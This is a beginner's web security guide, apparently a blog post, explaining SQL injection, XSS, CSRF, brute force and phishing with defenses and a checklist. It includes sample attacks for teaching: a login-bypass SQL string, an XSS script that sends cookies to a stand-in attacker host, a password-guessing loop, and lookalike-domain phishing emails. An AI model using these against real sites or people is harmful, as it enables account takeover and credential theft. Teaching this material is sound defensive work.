You just shipped a new web app. The UI looks great, the API responds fast, your tests pass. You push to production and go to sleep.
Somewhere, an automated scanner is already probing your login form.
Web attacks aren't exotic. They don't require nation-state budgets or Hollywood-style hacking rigs. Most of the techniques used to compromise real websites today were documented decades ago — and they still work because developers keep making the same mistakes.
This guide walks you through the five most common attack vectors targeting websites: SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Brute Force, and Phishing. For each one, you'll learn how it works, see a realistic example, and get concrete defenses you can apply today.
No prior security knowledge required.
1. SQL Injection (SQLi)
What It Is
SQL Injection is one of the oldest and most devastating web vulnerabilities. It occurs when user-supplied input is embedded directly into a database query without proper sanitization — allowing an attacker to rewrite the query itself.
The attacker isn't guessing your password. They're rewriting the rules of what your login check even means.
How It Works
Imagine a login form that checks credentials like this on the server:
SELECT * FROM users
WHERE username = 'alice'
AND password = 'hunter2';
This looks fine. But what if the username field receives this input instead?
' OR '1'='1
The resulting query becomes:
SELECT * FROM users
WHERE username = '' OR '1'='1'
AND password = 'anything';
Since '1'='1' is always true, this query returns the first row in the database — often the admin account — without ever checking a real password.
Real-World Impact
SQL Injection attacks have been responsible for some of the largest data breaches in history:
Heartland Payment Systems (2008): 130 million credit card numbers stolen via SQLi
Sony Pictures (2011): 1 million user accounts exposed
TalkTalk (2015): 157,000 customer records leaked, £400K fine
Vulnerable Code Example
// ❌ NEVER DO THIS — Node.js + MySQL
const query = `SELECT * FROM users WHERE username = '${req.body.username}'`;
db.query(query, callback);
SPONSORED
InstaDoodle - AI Video Creator
Create elementAI Explainer Videos That Convert With Simple Text Prompts.
Any string the user types becomes part of the SQL query. This is the root of the vulnerability.
How to Defend Against It
Use parameterized queries (prepared statements). This is the single most effective defense.
// ✅ Safe — parameterized query
const query = "SELECT * FROM users WHERE username = ?";
db.query(query, [req.body.username], callback);
With parameterized queries, user input is never interpreted as SQL syntax. It's always treated as a literal value.
Additional defenses:
Use an ORM (Sequelize, Prisma, SQLAlchemy) — they parameterize by default
Principle of least privilege: The database user your app connects with should only have SELECT/INSERT/UPDATE on the tables it needs — never DROP or CREATE
Input validation: Reject inputs that don't match expected patterns (e.g., usernames should match /^[a-zA-Z0-9_]{3,20}$/)
Web Application Firewall (WAF): As a secondary layer, not a primary defense
💡 Quick test: Run sqlmap against your own app in a staging environment. If it finds anything, fix it before someone else does.
2. Cross-Site Scripting (XSS)
What It Is
Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a web page that is then executed in other users' browsers. Unlike SQL Injection, which targets your database, XSS targets your users.
The browser has no way to know that the script came from an attacker rather than from you. It executes it with full trust.
The Three Types of XSS
Type
How it works
Persistence
Stored XSS
Malicious script saved in the database and served to all users
Persistent
Reflected XSS
Script embedded in a URL parameter, reflected back in the response
Per-request
DOM-based XSS
Script injected via client-side JavaScript that reads from the URL
Client-side only
How It Works: Stored XSS Example
Imagine a comment section that saves and displays user comments. A user submits this as their comment:
Great article! <script>
document.location = 'https://evil.com/steal?c=' + document.cookie;
</script>
If the server stores this verbatim and the frontend renders it as raw HTML, every user who visits that page has their session cookie silently sent to evil.com. The attacker can then use that cookie to impersonate them — without ever knowing their password.
What an Attacker Can Do with XSS
Session hijacking: Steal authentication cookies
Credential harvesting: Overlay a fake login form on the real page
Keylogging: Capture everything the user types
Crypto mining: Run mining scripts in the victim's browser
Redirects and drive-by downloads: Send users to malware sites
Vulnerable Code Example
// ❌ React — dangerouslySetInnerHTML with user content
function Comment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />;
}
Escape output by default. Every modern framework does this automatically when used correctly.
// ✅ React — safe by default (JSX escapes automatically)
function Comment({ text }) {
return <div>{text}</div>;
}
// ✅ Vanilla JS — use textContent, not innerHTML
document.getElementById('comment').textContent = userInput;
Additional defenses:
Content Security Policy (CSP): A response header that tells browsers which scripts are allowed to run. Even if an XSS payload is injected, CSP can prevent it from executing.
Sanitize HTML when you need it: If you genuinely need to accept and render HTML (a rich text editor, for example), use a battle-tested sanitizer like DOMPurify — never write your own
⚠️ React developers: JSX is safe by default, but dangerouslySetInnerHTML bypasses all protections. Treat it like eval() — avoid it unless you have a compelling reason and are sanitizing the input.
3. Cross-Site Request Forgery (CSRF)
What It Is
CSRF (pronounced "sea-surf") tricks a logged-in user into unknowingly sending a request to a website where they're authenticated. The website receives a valid request with real credentials — and has no way to know the user didn't intend to send it.
Where XSS exploits the user's trust in a website, CSRF exploits the website's trust in the user's browser.
How It Works
Suppose a banking app processes fund transfers via a POST request:
POST /transfer
Cookie: session=abc123
amount=1000&to_account=555-USER
An attacker creates a malicious webpage with this hidden form:
When a logged-in bank customer visits evil.com/trap.html — even just by clicking a link in an email — their browser automatically sends the transfer request with their valid session cookie. The bank sees a legitimate authenticated request.
The user's money is gone. They never saw a form. They never clicked submit.
How to Defend Against It
CSRF tokens are the standard defense. The server generates a unique, unpredictable token for each session and embeds it in every form. The server rejects any request that doesn't include the correct token — which the attacker's page can never know.
<!-- Server renders this in every form -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="k9xM2pQ7rT...">
<!-- ... other fields ... -->
</form>
// Server validates the token on every state-changing request
app.post('/transfer', csrfProtection, (req, res) => {
// If _csrf token doesn't match, the middleware rejects the request
});
Additional defenses:
SameSite cookies: The most modern and elegant defense. Tells browsers not to send cookies on cross-origin requests.
SameSite=Strict means the cookie is never sent from a third-party page. SameSite=Lax (the browser default in modern browsers) allows it for top-level navigations but not for form submissions or XHR.
Verify the Origin header: For API endpoints, check that the Origin or Referer header matches your expected domain
Require re-authentication for sensitive actions: High-stakes operations (password change, fund transfer) should require the user to re-enter their password
💡 Modern browsers now default to SameSite=Lax, which prevents the most common CSRF attack pattern. But you shouldn't rely on browser behavior alone — implement CSRF tokens for any state-changing operation.
4. Brute Force Attacks
What It Is
Brute force is the least sophisticated attack on this list — and one of the most effective. The attacker simply tries thousands or millions of username/password combinations until one works. No code injection. No clever exploits. Just relentless automated guessing.
Modern brute force tools can test hundreds of requests per second against an unprotected login endpoint.
Varieties of Brute Force
Variant
Strategy
Pure brute force
Try every possible combination (aaaa, aaab, aaac...)
Dictionary attack
Try words from a wordlist (password, 123456, qwerty)
Credential stuffing
Use username/password pairs leaked from other breaches
Password spraying
Try one common password against many accounts (avoids lockouts)
Credential stuffing is particularly dangerous. After large data breaches, billions of username/password pairs are available on the dark web. Since people reuse passwords across sites, attackers feed these lists into automated tools and quietly compromise accounts at scale.
What a Brute Force Script Looks Like
# Simplified illustration — do not use for malicious purposes
import requests
passwords = ["123456", "password", "qwerty", "admin", "letmein"]
for pwd in passwords:
response = requests.post("https://target.com/login", data={
"username": "admin",
"password": pwd
})
if "Welcome" in response.text:
print(f"Found: {pwd}")
break
Without any rate limiting, this can test thousands of passwords per minute.
How to Defend Against It
Rate limiting is your first line of defense. Limit how many login attempts a single IP (or account) can make within a time window.
// Express.js with express-rate-limit
import rateLimit from 'express-rate-limit';
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 10, // 10 attempts per window
message: 'Too many login attempts. Please try again later.',
});
app.post('/login', loginLimiter, handleLogin);
Additional defenses:
Account lockout: Temporarily lock accounts after N failed attempts (balance security vs. denial-of-service risk)
CAPTCHA: Add friction after failed attempts — even a simple checkbox CAPTCHA breaks most automated tools
Multi-Factor Authentication (MFA): Even if the attacker guesses the correct password, they can't log in without the second factor. MFA is the single most effective control against credential-based attacks.
Password hashing with bcrypt/Argon2: If your database is ever breached, slow hashing algorithms make offline cracking computationally infeasible
// ✅ Hash passwords with bcrypt before storing
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12;
const hashed = await bcrypt.hash(plainTextPassword, SALT_ROUNDS);
// ✅ Verify on login
const match = await bcrypt.compare(inputPassword, storedHash);
Breach detection: Services like HaveIBeenPwned's API let you check if a user's password appears in known breach databases at registration time
🔒 The single biggest win: Enforce MFA on admin accounts. If brute force succeeds against an admin, the damage is catastrophic. MFA makes that scenario nearly impossible.
5. Phishing
What It Is
Phishing is a social engineering attack — it doesn't exploit a vulnerability in your code. It exploits a vulnerability in human psychology.
An attacker creates a convincing impersonation of a trusted entity (your bank, your company's IT department, GitHub, Google) and tricks a target into voluntarily handing over credentials, clicking a malicious link, or performing an action that benefits the attacker.
Phishing remains the #1 initial access vector in enterprise breaches. Technical defenses can be bypassed, but a well-crafted phishing email bypasses them entirely by going around the system through the human.
Anatomy of a Phishing Attack
A typical phishing campaign has three components:
1. The lure — An email (or SMS, or DM) designed to create urgency or fear:
From: security@app1e.com
Subject: ⚠️ Unusual sign-in detected — verify your account immediately
We detected a sign-in attempt from an unfamiliar device in São Paulo, Brazil.
If this wasn't you, click below to secure your account:
[Verify My Account Now →]
Notice: app1e.com — not apple.com. The domain uses the number 1 in place of the letter l. Most users won't notice under time pressure.
2. The fake site — A pixel-perfect clone of the legitimate service, hosted on a lookalike domain. The victim enters their credentials, which are captured by the attacker. They're then redirected to the real site with a "session expired" message, so they assume nothing unusual happened.
3. Credential use — The attacker logs into the real service with the stolen credentials, often within minutes, before the victim realizes what happened.
Spear Phishing: The Targeted Variant
Generic phishing casts a wide net. Spear phishing is targeted. The attacker researches their victim on LinkedIn, GitHub, or company websites before crafting a message that feels completely legitimate:
From: carlos.mendes@yourcompany-hr.com
Subject: Updated benefits enrollment — action required by Friday
Hi Sarah,
As discussed in the all-hands last Thursday, benefits enrollment closes Friday.
Please use the new portal:
[https://yourcompany-benefits-2024.com/enroll]
— Carlos, HR
The attacker knows the victim's name, their company, a recent internal meeting, and the HR contact's name. The link leads to a fake portal that harvests login credentials.
How to Defend Against It
Phishing defenses operate at multiple levels: technical, organizational, and individual.
Technical controls:
DMARC, DKIM, and SPF: Email authentication protocols that prevent attackers from spoofing your domain in emails they send
; SPF record — specifies which mail servers are authorized to send for your domain
v=spf1 include:_spf.google.com ~all
; DMARC record — tells receiving servers what to do with unauthenticated mail
_dmarc.yourdomain.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@yourdomain.com"
Hardware security keys (FIDO2/WebAuthn): Phishing-resistant MFA. Even if an attacker captures a username and password, they cannot authenticate without the physical key — and the key is bound to the legitimate origin, so it won't respond to a fake site
Password managers: They autofill credentials only on the exact registered domain. A password manager won't fill in credentials on app1e.com — it doesn't match apple.com
Organizational controls:
Security awareness training: Regular, realistic phishing simulations help employees develop the habit of scrutinizing unexpected emails
Verified callback procedures: Establish a policy that any request involving credentials, wire transfers, or sensitive data must be verified via a separate, known-good channel (a phone call, Slack DM) — not by replying to the email
Incident reporting culture: Make it easy and blameless for employees to report suspected phishing. The faster suspicious messages are flagged, the faster they can be blocked company-wide
🎯 The real defense: Hardware security keys (YubiKey, Google Titan) make phishing attacks against accounts technically impossible, even if the user clicks the link and enters their credentials. For high-privilege accounts, this is the gold standard.
The Attacker's Perspective: How These Attacks Chain Together
Real-world attacks rarely use just one technique. They chain them:
1. Phishing email → employee clicks link
↓
2. Credential capture → attacker logs into internal app
↓
3. Brute force → attacker tries admin account with common passwords
↓
4. Admin access → attacker finds SQL query in a poorly secured admin panel
↓
5. SQL Injection → attacker dumps the user database
↓
6. Stored XSS payload inserted → all logged-in users get their sessions hijacked
This is why security is a system property, not a feature. A single weak link is enough.
Your Security Checklist
Use this as a quick reference when building or auditing a web application:
Against SQL Injection
All database queries use parameterized statements or an ORM
innerHTML and dangerouslySetInnerHTML are avoided or sanitized
Content Security Policy header is configured
Session cookies have HttpOnly flag
Against CSRF
CSRF tokens on all state-changing forms
SameSite=Strict or SameSite=Lax on session cookies
Origin/Referer header validation on sensitive API endpoints
Against Brute Force
Rate limiting on login and password reset endpoints
Account lockout or exponential backoff after failed attempts
Passwords hashed with bcrypt or Argon2 (not MD5 or SHA-1)
MFA available (and required for admin accounts)
Against Phishing
DMARC, DKIM, and SPF configured for your domain
Security keys (FIDO2) offered as an MFA option
Password manager recommended to users
Security awareness training for team members
Conclusion
Web security can feel overwhelming — a vast, ever-shifting landscape of threats, CVEs, and attack techniques. But most real-world attacks exploit a small number of well-understood, well-documented vulnerabilities.
SQL Injection is 25 years old. XSS has been in the OWASP Top 10 since the list was created. Phishing works because human psychology doesn't change.
You don't need to know everything. You need to understand the fundamentals well enough that you don't make the obvious mistakes — and you need the habits (parameterized queries, output escaping, MFA, rate limiting) to become automatic.
Security isn't something you bolt on after the product ships. It's a craft you develop alongside your code.
Start with the checklist. Fix the obvious issues. Then keep learning.
Further Reading
OWASP Top 10 — The canonical list of web application security risks
This article is intended for educational purposes — for developers building more secure applications and security beginners learning how attacks work. Understanding attack techniques is the foundation of building effective defenses.